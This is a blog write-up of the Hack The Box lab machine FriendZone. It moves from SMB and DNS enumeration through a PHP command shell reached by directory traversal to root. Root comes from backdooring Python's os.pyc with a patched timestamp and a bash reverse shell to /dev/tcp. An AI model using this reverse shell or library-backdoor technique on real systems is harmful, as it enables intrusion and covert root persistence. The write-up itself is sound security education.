Hack The Box FriendZone: All About Times and Zones

FriendZone is a medium-difficulty, CTF-style, Linux machine at Hack The Box that was retired today. I found the process of getting an initial foothold to be pretty routine, despite the number of rabbit holes. Privilege escalation using backdoored Python files was especially interesting.

Enumeration

This is a box that requires a lot of information gathering to get initial user access.

A full TCP port scan using masscan reveals the following open ports:

masscan --rate=1000 -e tun0 -p1-65535 10.10.10.123
Discovered open port 22/tcp on 10.10.10.123 
Discovered open port 53/tcp on 10.10.10.123
Discovered open port 443/tcp on 10.10.10.123
Discovered open port 139/tcp on 10.10.10.123
Discovered open port 80/tcp on 10.10.10.123
Discovered open port 445/tcp on 10.10.10.123
Discovered open port 21/tcp on 10.10.10.123

Port 53 (DNS) strikes me as potentially interesting given the theme of the box.

SMB

The SMB port turns out to be open for anonymous access.

# smbclient.py 10.10.10.123
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Type help for list of commands
# shares
print$
Files
general
Development
IPC$
# use general
# ls
drw-rw-rw-          0  Wed Jan 16 15:10:51 2019 .
drw-rw-rw-          0  Wed Jan 23 16:51:02 2019 ..
-rw-rw-rw-         57  Tue Oct  9 19:52:42 2018 creds.txt
# get creds.txt
# use Development
# ls
drw-rw-rw-          0  Wed Jan 16 15:03:49 2019 .
drw-rw-rw-          0  Wed Jan 23 16:51:02 2019 ..

A creds.txt file is available in the general share with the following contents:

creds for the admin THING:

admin:WORKWORKHhallelujah@#

Admin credentials, but for what?

The Development share is also open for write access.

A followup nmap scan shows the mapping of shares to folders on the local file system, which will be useful later (output has been condensed):

# nmap -p 139,445 --script=smb-enum-shares.nse 10.10.10.123
|   \\10.10.10.123\Development: 
|     Path: C:\etc\Development
|   \\10.10.10.123\Files:
|     Path: C:\etc\hole
|   \\10.10.10.123\IPC$:
|     Path: C:\tmp
|   \\10.10.10.123\general:
|     Path: C:\etc\general
|   \\10.10.10.123\print$:
|     Path: C:\var\lib\samba\printers
HTTP/HTTPS

Enumeration of the HTTP port and HTTPS ports reveals that there are two domains associated with this machine: `friendzoneportal.red` and `friendzone.red`.

Nikto and dirb scans don’t turn up much.

DNS

With two domains in hand, I attempt a zone transfer using dig to enumerate all virtual hosts associated with the machine:

# dig axfr +noall +answer @10.10.10.123 friendzone.red
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red.		604800	IN	AAAA	::1
friendzone.red.		604800	IN	NS	localhost.
friendzone.red.		604800	IN	A	127.0.0.1
administrator1.friendzone.red. 604800 IN A	127.0.0.1
hr.friendzone.red.	604800	IN	A	127.0.0.1
uploads.friendzone.red.	604800	IN	A	127.0.0.1
friendzone.red.		604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800

# dig axfr +noall +answer @10.10.10.123 friendzoneportal.red
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red.	604800	IN	AAAA	::1
friendzoneportal.red.	604800	IN	NS	localhost.
friendzoneportal.red.	604800	IN	A	127.0.0.1
admin.friendzoneportal.red. 604800 IN	A	127.0.0.1
files.friendzoneportal.red. 604800 IN	A	127.0.0.1
imports.friendzoneportal.red. 604800 IN	A	127.0.0.1
vpn.friendzoneportal.red. 604800 IN	A	127.0.0.1
friendzoneportal.red.	604800	IN	SOA	localhost. root.localhost. 2 604800 86400 2419200 604800

The zone transfer succeeds and reveals a number of virtual hosts. I put these in my /etc/hosts file for further exploration.

Other

The FTP share is not open anonymous access, and there’s no obvious exploit for the FTP server version that is running.

Getting User Access

Next is the tedious process of enumerating each of the virtual hosts through both the HTTP and HTTPS ports. There are a number of rabbit holes here leading nowhere. Eventually I find the sought-after admin page at https://administrator1.friendzone.red:

And the credentials initially retrieved from the SMB share work!

On the dashboard page, there’s a URL that seems susceptible to directory traversal. I try different combinations and find that the pagename parameter is vulnerable.

I then upload a PHP command shell to the SMB Development share.

# smbclient.py friendzone.red
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Type help for list of commands
# use Development
# put cmd.php
# ls
drw-rw-rw-          0  Fri Jul 12 21:09:04 2019 .
drw-rw-rw-          0  Wed Jan 23 16:51:02 2019 ..
-rw-rw-rw-         45  Fri Jul 12 21:09:04 2019 cmd.php

I access the command shell via directory traversal at ../../../etc/Development/cmd, noting that the Development share is mapped locally to the /etc/Development folder.

I’ve got remote code execution. I use the command shell to probe the directories on the host, and find credentials for MySQL in /var/www/mysql_data.conf.

The creds also work for SSH access!

The user.txt flag is available in the friend user’s home directory.

Escalation to Root

With user access in hand, I start enumerating the host by running LinEnum to identify any misconfigurations and pspy to look for any active jobs. Two things stand out.

First pspy identifies a cron job running every few minutes, located at /opt/server_admin/reporter.py:

2019/07/13 07:21:44 CMD: UID=1000 PID=1079   | ./pspy64 
2019/07/13 07:21:44 CMD: UID=1000 PID=1013   | -bash 
2019/07/13 07:21:44 CMD: UID=1000 PID=1012   | sshd: friend@pts/0   
2019/07/13 07:21:44 CMD: UID=0    PID=10     | 
2019/07/13 07:21:44 CMD: UID=0    PID=1      | /sbin/init splash 
2019/07/13 07:21:59 CMD: UID=0    PID=1087   | 
2019/07/13 07:22:01 CMD: UID=0    PID=1090   | /bin/sh -c /opt/server_admin/reporter.py 
2019/07/13 07:22:01 CMD: UID=0    PID=1089   | /bin/sh -c /opt/server_admin/reporter.py 
2019/07/13 07:22:01 CMD: UID=0    PID=1088   | /usr/sbin/CRON -f

The script is not writable by the friend user, and doesn’t appear to do much of anything:

friend@FriendZone:~$ cat /opt/server_admin/reporter.py 
#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

Second, there’s an interesting abnormal file, os.pyc that is owned by friend:

friend@FriendZone:~$ find / -user friend 2> /dev/null | grep -v /proc | grep -v /sys | grep -v /run
/var/mail/friend
/home/friend
/home/friend/.bash_logout
/home/friend/.bashrc
/home/friend/.gnupg
/home/friend/.gnupg/private-keys-v1.d
/home/friend/.sudo_as_admin_successful
/home/friend/pspy64
/home/friend/.profile
/home/friend/.cache
/home/friend/.cache/motd.legal-displayed
/home/friend/.local
/home/friend/.local/share
/home/friend/.local/share/nano
/usr/lib/python2.7/os.pyc
/dev/pts/0

The os.pyc file is the key to getting to root, because the os module is loaded by the reporter.py cron job run by root.

I create a bash script, called shell.sh, to get a reverse shell, and place it in the /home/friend directory. The bash script looks like this:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.21/80 0>&1

Then I take a copy of os.py from the /usr/lib/python2.7 directory and add the following backdoor to the end of the file to invoke my bash script:

system('/home/friend/shell.sh')

I compile my modified os.py file to generate a new os.pyc file:

python -m compileall os.py

I replace the os.pyc file in the /usr/lib/python2.7 with my newly compiled copy and wait for the cron job to run, expecting to get a reverse shell. Alas, it doesn’t fire. Turns out Python is smart enough to recognize that my modified os.pyc doesn’t match the os.py. The system regenerates the os.pyc file and overwrites my modified copy. But now the new os.pyc is owned by root and I have no way of replacing it again! Time to reset the box.

I do some research on how Python recognizes when to recompile a py file, and find this informative post. There’s timestamp embedded 4 bytes into the pyc file that is matched against the timestamp of the corresponding py file. If the timestamps match, Python doesn’t recompile the py file. So all I have to do is alter my os.pyc file to embed the same timestamp as the os.py file.

I use the stat command to get the Unix timestamp of the os.py file:

friend@FriendZone:~$ stat -c %Y /usr/lib/python2.7/os.py
1547583563

Then I write a small script to patch my modified os.pyc file with the desired timestamp:

import struct
with open('os.pyc', 'rb+') as f:
    f.seek(4,0)
    b = struct.pack('<I', 1547583563)
    f.write(b)

I take my modified os.pyc and place it in the /usr/lib/python2.7 directory. This time the reverse shell is triggered, and I get root access.

Conclusion

While the overall box is very CTF-like in nature, I thought it was valuable to reinforce the necessity of doing thorough enumeration, especially with DNS. Multiple vulnerabilities (SMB, DNS, and HTTPS directory traversal) had to be linked together to gain user access. And I learned something interesting about how Python compilation works.

Leave a Reply

Your email address will not be published.